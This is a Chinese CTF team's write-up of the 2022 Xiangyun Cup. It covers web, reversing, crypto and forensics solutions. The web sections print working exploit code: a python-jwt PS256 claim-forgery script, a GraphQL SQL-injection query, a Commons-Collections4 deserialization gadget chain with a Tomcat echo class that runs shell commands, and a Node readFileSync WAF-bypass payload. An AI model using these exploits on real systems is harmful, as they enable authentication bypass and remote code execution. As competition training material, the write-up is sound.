2022HashRun安全团队祥云杯wp

admin 2022年11月1日07:59:31CTF专场评论161 views17409字阅读58分1秒阅读模式

这次比赛没有挂团队名,因为我们都害怕打不好给团队丢脸,当时都抱着爆0的心态去打的

此次参加比赛的师傅平均年龄19

HashRun安全团队-CTF组

[email protected]

注册一个admin账号发现页面会提示已经注册,其实本来想的是注入,但是发现注册功能活的,感觉二次注入可能也不是很大,注册一个账号登录进去发现功能正常绕了一圈没啥太大发现都要鉴权,这里我还没抓包,退出登录发现前端校验,当code值=0那么就登录成功和注册成功,我们直接输入admin密码瞎写,改响应包

2022HashRun安全团队祥云杯wp

2022HashRun安全团队祥云杯wp

发现没用,他是前端+后端

访问几个页面发现权限不足,抓数据包发现是jwt验证,意思就是说要让我们越权被,查看下功能点

2022HashRun安全团队祥云杯wp

说实话是真的巧,看到这我直接就想到了graphql注入,为什么?因为前几天实战的时候才碰到,那现在问题就是解决权限问题

2022HashRun安全团队祥云杯wp

发现需要公钥和私钥才能解密,问题是这个不可能去爆破,采用的是PS256加密,然后各种百度都没进展,感觉是0day,去github去看下有没有提交的iisue或者是commit

https://github.com/davedoesdev/python-jwt/commit/88ad9e67c53aa5f7c43ec4aa52ed34b7930068c9

最后发现这个,这个需要改下脚本,exp也在这里,大概意思就是说,我们不需要公钥和私钥就可以伪造jwt那么权限问题就可以解决我们现在构造下脚本,至于一些第三方库我也贴出来,脚本需要基于作者的改下(其实改动的地方挺多,看着改吧。。。。我就直接贴exp和库了)

依赖:

jwcrypto>=1.4.2
gevent>=1.2.2pyVows>=3.0.0pylint>=1.4.4coverage>=4.0.3coveralls>=1.2.0mock>=1.3.0

exp:

""" Test claim forgery vulnerability fix """from datetime import timedeltafrom json import loads, dumpsfrom common import generated_keysimport python_jwt as jwtfrom pyvows import Vows, expectfrom jwcrypto.common import base64url_decode, base64url_encode
@Vows.batchclass ForgedClaims(Vows.Context): """ Check we get an error when payload is forged using mix of compact and JSON formats """ def topic(self): """ Generate token """ payload = {'sub': 'alice'} #print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))) return jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60))
class PolyglotToken(Vows.Context): """ Make a forged token """ def topic(self, topic): """ Use mix of JSON and compact format to insert forged claims including long expiration """ [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) parsed_payload['is_admin'] = 1 parsed_payload['exp'] = 2000000000 fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) print print('{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}') return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
class Verify(Vows.Context): """ Check the forged token fails to verify """ @Vows.capture_error def topic(self, topic): """ Verify the forged token """ return jwt.verify_jwt(topic, generated_keys['PS256'], ['PS256'])
def token_should_not_verify(self, r): """ Check the token doesn't verify due to mixed format being detected """ expect(r).to_be_an_error() expect(str(r)).to_equal('invalid JWT format')
a = PolyglotToken() print(a.topic("你的ps256的jwt")) #print(jwt.generate_jwt(payload, generated_keys['PS256'], 'PS256', timedelta(minutes=60)))

这里我们需要把原作者的sub参数=bob改成admin_is=1

没有admin权限的jwt访问时不行的

2022HashRun安全团队祥云杯wp

运行下脚本

2022HashRun安全团队祥云杯wp

jwt伪造成功了,我们现在访问查询页面

2022HashRun安全团队祥云杯wp

2022HashRun安全团队祥云杯wp

现在就是要查询了

有个小坑,注册用户名的时候不能注册a开头的,因为你在后面sql注入查询的时候,没有where他是按照字母顺序查,这个坑踩了很多次

具体语法参考这个

https://blog.csdn.net/m0_51326092/article/details/119887029

https://zhuanlan.zhihu.com/p/40418866

但是需要稍稍改下

查询一圈没flag,那么我们查询admin密码

https://blog.csdn.net/weixin_50464560/article/details/125138835这有详细说明

query={     getscoreusingnamehahaha(name:"userid'union select password from users'1=1"){         userid     name     score     } 

直接出密码

2022HashRun安全团队祥云杯wp

然后直接登录获取flag

2022HashRun安全团队祥云杯wp

[email protected]、Fish

非常感谢fish师傅辅助我(比赛队内)

考点cc4+spring echo

下载源码对jar文件进行反编译

反编译,直指目的地,发现POST myTest会出现反序列化漏洞

2022HashRun安全团队祥云杯wp

检查程序,发现apache的common-collections 4而且其反序列化利用类未被Patch

考点发现就是cc4附上文章

https://blog.csdn.net/m0_64685672/article/details/122611195

外加spring echo网上有现成的poc

造轮子:

package moe.orangemc;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InstantiateTransformer;  import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.PriorityQueue;  public class Main {     public static void main(String[] args) {         try {             ClassPool classPool = ClassPool.getDefault();             CtClass ctClass = classPool.getCtClass("Meow");             byte[] bytes = ctClass.toBytecode();             TemplatesImpl templates = new TemplatesImpl();             Field f1 = templates.getClass().getDeclaredField("_name");             Field f2 = templates.getClass().getDeclaredField("_bytecodes");             f1.setAccessible(true);             f2.setAccessible(true);             f1.set(templates, "Meow");             f2.set(templates, new byte[][]{bytes});             Transformer<Class<?>, Object> chainedTransformer = new ChainedTransformer(new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}));             TransformingComparator<Class<?>, Object> transformingComparator = new TransformingComparator<>(chainedTransformer);             PriorityQueue<Integer> queue = new PriorityQueue<>(2);             queue.add(1);             queue.add(1);             Field f = queue.getClass().getDeclaredField("comparator");             f.setAccessible(true);             f.set(queue, transformingComparator);             Field f3 = queue.getClass().getDeclaredField("queue");             f3.setAccessible(true);             f3.set(queue, new Object[] {chainedTransformer, chainedTransformer});              ByteArrayOutputStream baos = new ByteArrayOutputStream();             ObjectOutputStream oos = new ObjectOutputStream(baos);             oos.writeObject(queue);             oos.close();             String result = new String(Base64.getEncoder().encode(baos.toByteArray()));             System.out.println(result);         } catch (Exception e) {             e.printStackTrace();         }     } }

根据上文代码,发现无法回显,但根据百度发现可以利用apache的catalina进行回显,同时程序包里有这个类库

2022HashRun安全团队祥云杯wp


编写恶意类:

import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;  public class Meow extends AbstractTranslet {      public Meow() {         super();         this.namesArray = new String[]{"meow"};         try {              java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");             java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");             java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");             java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);             contextField.setAccessible(true);             serviceField.setAccessible(true);             requestField.setAccessible(true);             getHandlerMethod.setAccessible(true);             org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =                     (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();             org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());             org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);             org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();             for (int i=0;i<connectors.length;i++) {                 if (4==connectors[i].getScheme().length()) {                     org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();                     if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {                         Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();                         for (int j = 0; j < classes.length; j++) {                             if (52 == (classes[j].getName().length())||60 == (classes[j].getName().length())) {                                 System.out.println(classes[j].getName());                                 java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");                                 java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");                                 globalField.setAccessible(true);                                 processorsField.setAccessible(true);                                 org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler,null));                                 java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);                                 for (int k = 0; k < list.size(); k++) {                                     org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));                                     System.out.println(tempRequest.getHeader("tomcat"));                                     org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);                                     String cmd = "" + "cat /flag" +"";                                     String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};                                     java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();                                     java.util.Scanner s = new java.util.Scanner(in).useDelimiter("n");                                     String output = s.hasNext() ? s.next() : "";                                     java.io.Writer writer = request.getResponse().getWriter();                                     java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");                                     usingWriter.setAccessible(true);                                     usingWriter.set(request.getResponse(), Boolean.FALSE);                                     writer.write(output);                                     writer.flush();                                     break;                                 }                                 break;                             }                         }                     }                     break;                 }               }           } catch (Exception e) {          }     }      @Override     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {      }      @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {      } }

把我们所有的东西组合起来,即可获得payload,但是注意要把最后的回车删掉,不然无法反序列化

然后得到flag

flag{97286f43-3e6a-4943-8e17-f19e1c2377aa}

[email protected]

/src 得到nodejs源代码

通过源码可以看到路由分别有三个/readfile、/、/src

并且可以通过源码知道我们操作的地方再/readfile并且定义了直接post传再body

其实这个就是利用fs这个东西,这个刷过ctfshow的同学都知道,可以读文件

这里提一嘴一般xss->rce其实用的都是child_process,然后使用exec或者execSync等,来执行系统命令

const express = require('express');const app = express();const bodyParser = require("body-parser")const fs = require("fs")app.use(bodyParser.text({type: '*/*'}));const {  execFileSync } = require('child_process');
app.post('/readfile', function (req, res) { let body = req.body.toString(); let file_to_read = "app.js"; const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim(); try { file_to_read = JSON.parse(file) } catch (e){ file_to_read = file } let data = fs.readFileSync(file_to_read); res.send(data.toString());});
app.get('/', function (req, res) { res.send('see `/src`');});


app.get('/src', function (req, res) { var data = fs.readFileSync('app.js'); res.send(data.toString());});
app.listen(3000, function () { console.log('start listening on port 3000');});

代码比较简单,重点就是在 /readfile 目录下读取文件,而会直接从post body获取文件名,测试读 取 /etc/passwd 成功

2022HashRun安全团队祥云杯wp

2022HashRun安全团队祥云杯wp

但是读取flag的时候没有成功,返回了rust的代码。可以发现如果payload中包含flag或者proc就会直接 返回文件内容,如果绕过了再判断payload如果是json格式,那么是否存在key为 protocol ,如果存在 也直接返回文件内容

exp:

use std::env;use serde::{Deserialize, Serialize};use serde_json::Value;static BLACK_PROPERTY: &str = "protocol";#[derive(Debug, Serialize, Deserialize)]struct File{    #[serde(default = "default_protocol")]    pub protocol: String,    pub href: String,    pub origin: String,    pub pathname: String,    pub hostname:String    }pub fn default_protocol() -> String {    "http".to_string()}//protocol is default value,can't be customizedpub fn waf(body: &str) -> String {    if body.to_lowercase().contains("flag") ||    body.to_lowercase().contains("proc"){        return String::from("./main.rs");        }
//protocol is default value,can't be customizedpub fn waf(body: &str) -> String { if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){ return String::from("./main.rs"); } if let Ok(json_body) = serde_json::from_str::<Value>(body) { if let Some(json_body_obj) = json_body.as_object() { if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) { return String::from("./main.rs"); } } if let Ok(file) = serde_json::from_str::<File>(body) { return serde_json::to_string(&file).unwrap_or(String::from("./main.rs")); } } else{//body not json return String::from(body); } return String::from("./main.rs"); } fn main() { let args: Vec<String> = env::args().collect(); println!("{}", waf(&args[1]));}

发现corctf的某道题和这道题类似,也是绕过fs.readfileSync

连接:

https://viblo.asia/p/corctf-2022-writeup-part-1-m68Z0Joj5kG#_c-challenge-solution-3

https://github.com/nodejs/node/blob/cca44bc50cdf21676997c394756b2482cfb5fa22/lib/internal/url.js#L1486

将payload以json格式传,但是这里用到的payload中存在protocol导致rust能检测到,要利用unicode 绕过

最终payload:

{"hostname":"","pathname":"/fl%61g","protocol":"file:","origin":"fuckyou","prud800otocol":"file:","href":"fuckyou"}

2022HashRun安全团队祥云杯wp

[email protected]

下载下来,一看,.snapshot???懵逼

有点像脚本语言的字节码..

必应查一下,没出来啥

看导入函数,charCodeAt,判断是js

js有好多实现,要找找是哪种

结合开头JRRYF和题目名字里的tom,让我想起了猫和老鼠.

这时候看到一个项目,名字叫jerryscript,背底是奶酪.

又看到里面源码有解析.snapshot文件,基本确定了就是他了

配置好环境后,看help(英语阅读题),看到可以输出opcode.

输出之,发现sm4的常量以及函数名,所以断定是sm4.

解密得到结果,用ctf{}包上就提交了.脚本如下图

2022HashRun安全团队祥云杯wp

exp

###############################################################################                                                                            ##                            国产SM4加密算法                                  ##                                                                            #################################################################################根据网上大神的脚本改的import binasciiimport structfrom gmssl import sm4def getarr(a):    ddd=[]    for i in range(len(a)):        s=a[i]        ddd.append(s&0xff)        s>>=8        ddd.append(s&0xff)        s>>=8        ddd.append(s&0xff)        s>>=8        ddd.append(s&0xff)        ddd[i<<2:(i<<2)+4]=ddd[i<<2:(i<<2)+4][::-1]    return bytes(ddd)
class SM4: """ 国产加密 sm4加解密 """
def __init__(self): self.crypt_sm4 = sm4.CryptSM4() # 实例化
def decryptSM4(self, decrypt_key, encrypt_value): """ 国密sm4解密 :param decrypt_key:sm4加密key :param encrypt_value: 待解密的十六进制值 :return: 原字符串 """ crypt_sm4 = self.crypt_sm4 crypt_sm4.set_key(decrypt_key, sm4.SM4_DECRYPT) # 设置密钥 decrypt_value = crypt_sm4.crypt_ecb(encrypt_value) # 开始解密。十六进制类型 return decrypt_value # return self.str_to_hexStr(decrypt_value.hex())
if __name__ == '__main__': key = getarr([19088743,2309737967,4275878552,1985229328]) strData = getarr([1605062385,-642825121,2061445208,1405610911,1713399267,1396669315,1081797168,605181189,1824766525,1196148725,763423307,1125925868]) strData=bytes(strData) SM4 = SM4() decData = SM4.decryptSM4(key, strData) print("sm4解密结果:", decData) # 解密后的数据

ctf{w3_f0und_1t_112ug31vjhe121f21fas}

Little [email protected]

遇事不决去百度代码,发现

https://blog.maple3142.net/2022/07/18/cryptoctf-2022-writeups中有类似代码

2022HashRun安全团队祥云杯wp

根据writeup即可求出p和q

题目提示是小费马,百度即可得到费马小定理 

https://zh.wikipedia.org/wiki/%E8%B4%B9%E9%A9%AC%E5%B0%8F%E5%AE%9A%E7%90%86

根据费马小定理我们可以从assert 114514 ** x % p == 1得出x = p - 1按照正常rsa解法解即可

exp:

from Crypto.Util.number import * from random import * from libnum import * import gmpy2 from itertools import combinations, chain 
e = 65537 n = 141321067325716426375483506915224930097246865960474155069040176356860707435540270911081589751471783519639996589589495877214497196498978453005154272785048418715013714419926299248566038773669282170912502161620702945933984680880287757862837880474184004082619880793733517191297469980246315623924571332042031367393 c = 81368762831358980348757303940178994718818656679774450300533215016117959412236853310026456227434535301960147956843664862777300751319650636299943068620007067063945453310992828498083556205352025638600643137849563080996797888503027153527315524658003251767187427382796451974118362546507788854349086917112114926883 tp = [gmpy2.mpz(1 << i) for i in range(512)] it = chain(*[combinations(range(3, 417 - 3), i) for i in range(4)]) for cf in it: A = -sum([tp[i] for i in cf]) D = A**2 + 4 * n if gmpy2.is_square(D): d = gmpy2.isqrt(D) p = (-A + d) // 2 q = n // p break x=p-1 d = pow(e, -1, (p - 1) * (q - 1)) m=pow(c, d, n) print(pow(c, d, n)) print(long_to_bytes(m^(x**2)))

strange_forensics

首先这个题目是一道取证题目,我们要先确定下系统版本

strings dump.raw | grep -i 'Linux version' | uniq

flag1:

使用脚本

python2 vol.py linux_enumerate_files | grep "/etc/shadow" 可以获取到用户密码的哈希,然后导出

linux_find_file导出,然后哈希解密,得到flag1

volatility2有现成的

flag2:

有个压缩包,导出文件发现文件损坏,我们将加密位从0修复为9,然后发现压缩包加密,我们对压缩包密码进行爆破即可是一个六位数字:123456

flag3:

直接执行

strings 1.mem | grep "flag3"

就ok

flag{890topico_y0u_Ar3_tHe_LInUx_forEnsIcS_MASTER}

[email protected]

http://factordb.com/直接分解出p,q。然后常规RSA解密

2022HashRun安全团队祥云杯wp

2022HashRun安全团队祥云杯wp

exp:

import libnumfrom Crypto.Util.number import long_to_bytes c = 97724073843199563126299138557100062208119309614175354104566795999878855851589393774478499956448658027850289531621583268783154684298592331328032682316868391120285515076911892737051842116394165423670275422243894220422196193336551382986699759756232962573336291032572968060586136317901595414796229127047082707519n = 253784908428481171520644795825628119823506176672683456544539675613895749357067944465796492899363087465652749951069021248729871498716450122759675266109104893465718371075137027806815473672093804600537277140261127375373193053173163711234309619016940818893190549811778822641165586070952778825226669497115448984409e = 31406775715899560162787869974700016947595840438708247549520794775013609818293759112173738791912355029131497095419469938722402909767606953171285102663874040755958087885460234337741136082351825063419747360169129165q = 21007149684731457068332113266097775916630249079230293735684085460145700796880956996855348862572729597251282134827276249945199994121834609654781077209340587p = 12080882567944886195662683183857831401912219793942363508618874146487305963367052958581455858853815047725621294573192117155851621711189262024616044496656907
d = libnum.invmod(e, (p - 1) * (q - 1))m = pow(c, d, n)print(long_to_bytes(m))

flag{9aecf8d8-6966-4ffa-96b0-2e744d28baf2}

[email protected]秋风

首先下载下来题目

发现有trace.out和task.py

2022HashRun安全团队祥云杯wp

发现12000+行

写个脚本

import libnumfrom Crypto.Util.number import long_to_bytes
n = 113793513490894881175568252406666081108916791207947545198428641792768110581083359318482355485724476407204679171578376741972958506284872470096498674038813765700336353715590069074081309886710425934960057225969468061891326946398492194812594219890553185043390915509200930203655022420444027841986189782168065174301c = 64885875317556090558238994066256805052213864161514435285748891561779867972960805879348109302233463726130814478875296026610171472811894585459078460333131491392347346367422276701128380739598873156279173639691126814411752657279838804780550186863637510445720206103962994087507407296814662270605713097055799853102e = 65537
tag1 = 1tag2 = 0F = open("trace.out","r")arr = F.readlines()
for i in arr[::-1]: if "a = a - b" in i: tag1 = tag1 + tag2#print(tag1)#print(tag2) if "a, b = b, a" in i: tag1, tag2 = tag2, tag1#print(tag1)#print(tag2) if "a = rshift1(a)"in i: tag1 = tag1 << 1#print(tag1)#print(tag2) if "b = rshift1(b)" in i: tag2 = tag2 << 1#print(tag1)#print(tag2)
phi = tag1#print(phi)
d = libnum.invmod(e, phi) m = pow(c, d, n)print(long_to_bytes(m))

flag{a526344-a8c7-411d-bf53-ef6a2479de1a}

原文始发于微信公众号(HashRun安全团队):2022HashRun安全团队祥云杯wp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月1日07:59:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  2022HashRun安全团队祥云杯wp https://cn-sec.com/archives/1383474.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: